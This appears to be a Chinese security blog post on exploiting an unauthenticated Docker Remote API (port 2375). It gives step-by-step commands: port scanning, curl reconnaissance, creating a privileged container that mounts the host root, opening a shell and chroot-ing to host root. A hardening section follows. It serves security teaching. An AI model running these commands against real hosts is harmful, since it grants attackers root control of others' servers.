Docker 远程 API(Remote API)未授权访问漏洞入侵过程

一、漏洞原理

Docker 远程 API(Remote API)未授权访问是容器安全中极为高危的场景。

Docker 默认通过 Unix Socket(/var/run/docker.sock)进行本地通信,只有本机上的授权用户才能访问。但是,Docker 也支持通过 TCP 端口进行远程管理。当 Docker Daemon 监听在 TCP 端口(默认为 2375 或 2376)且未配置 TLS 认证或访问控制列表(ACL)时,攻击者可以直接通过 HTTP 请求与 Docker 守护进程交互,从而完全控制宿主机。

二、入侵过程

1.端口扫描

namp -Pn -p 2375,2376 <target_ip>

2.服务识别‌banner信息

curl http://<target_ip>:2375/version

如果返回包含 Version, ApiVersion, Os 等字段的 JSON 数据,说明目标存在未授权访问漏洞。

3.信息收集

查看正在运行的容器:curl http://<target_ip>:2375/containers/json

查看本地镜像:curl http://<target_ip>:2375/images/json

查看宿主信息:curl http://<target_ip>:2375/info

4.权限获取与容器逃逸

由于 Docker API 拥有对守护进程的完全控制权,攻击者可以通过创建特权容器或挂载宿主机关键目录来实现逃逸,进而获得宿主机的 Root 权限。

**创建特权容器,**指定挂载卷和特权模式。

curl -X POST -H "Content-Type: application/json" \

--data '{

"Image": "ubuntu",

"Cmd": "/bin/bash",

"Tty": true,

"Privileged": true,

"HostConfig": { "Binds": "/:/host" }

}' \

http://<target_ip>:2375/containers/create?name=exploit

启动特权容器

curl -X POST http://<target_ip>:2375/containers/exploit/start

执行远程交互式 Shell‌:

本地客户端连接远程 API

export DOCKER_HOST=tcp://<target_ip>:2375

docker exec -it exploit /bin/bash

‌在容器内操作宿主机文件系统‌:

在容器内执行

chroot /host

此时已获得宿主机的 Root Shell

whoami

三、防御与加固建议

1.禁止暴露 TCP 端口‌:

默认情况下,Docker Daemon 只监听 Unix Socket (/var/run/docker.sock)。

除非绝对必要,不要通过 -H tcp://0.0.0.0:2375 启动 Docker。

2‌.启用 TLS 认证‌:

如果必须远程管理,务必配置 TLS 双向认证(Client Certificate Authentication),确保只有持有合法证书的客户端才能连接。

启动参数示例:dockerd --tlsverify --tlscacert=ca.pem --tlscert=server-cert.pem --tlskey=server-key.pem -H tcp://0.0.0.0:2376

‌3.使用防火墙限制访问‌:

通过 iptables 或云安全组,仅允许受信任的 IP 地址访问 Docker API 端口。

4‌.避免挂载敏感目录‌:

在生产环境中,尽量避免将宿主机的 /、/etc、/var/run/docker.sock 等敏感目录挂载到容器内。

如果必须挂载,使用只读模式 (:ro)。

‌5**.最小权限原则‌:**

不要以 --privileged 模式运行容器,除非确实需要。

使用 Seccomp、AppArmor 或 SELinux 限制容器的系统调用能力。

相关推荐
Lsetea4 小时前
curl指定CA目录仍报证书不受信任:--capath与OpenSSL rehash排查
运维·https·ssl·openssl·curl
优化Henry5 小时前
LTE 载波频率与频点配置详解
运维·网络·学习·5g·信息与通信
程序员清风5 小时前
Docker、Nginx 与 Kubernetes 部署 AI 后端服务
nginx·docker·kubernetes
代码方舟5 小时前
数据科学风控实战:基于天远全能消金报告构建自动化信用评估网关
运维·人工智能·自动化
科力锐品牌君6 小时前
应用级灾备 | 海量非结构化数据如何实现高效数据保护
linux·运维·网络·安全·系统安全·数据安全·灾备
KaiwuDB6 小时前
KaiwuDB 运维实战04:DRBD + KaiwuDB——物联网场景下的低成本数据库高可用方案
运维·数据库·物联网·时序数据库·kaiwudb·aiot·多模数据库
Zhu7586 小时前
离线二进制部署-Kubernetes-v1.36.4
容器·贪心算法·kubernetes
福建佰胜张工6 小时前
A5E00839230西门子工业核心配件详解:参数、安装调试与故障运维全攻略
运维·网络·安全·自动化
Lancker7 小时前
chnroute-linux — 中国大陆 IP 段每日自动更新 + 「仅允许国内访问」落地
linux·运维·tcp/ip
谢亮_vipxieliang7 小时前
镜像安全:扫描、签名与软件供应链
安全·docker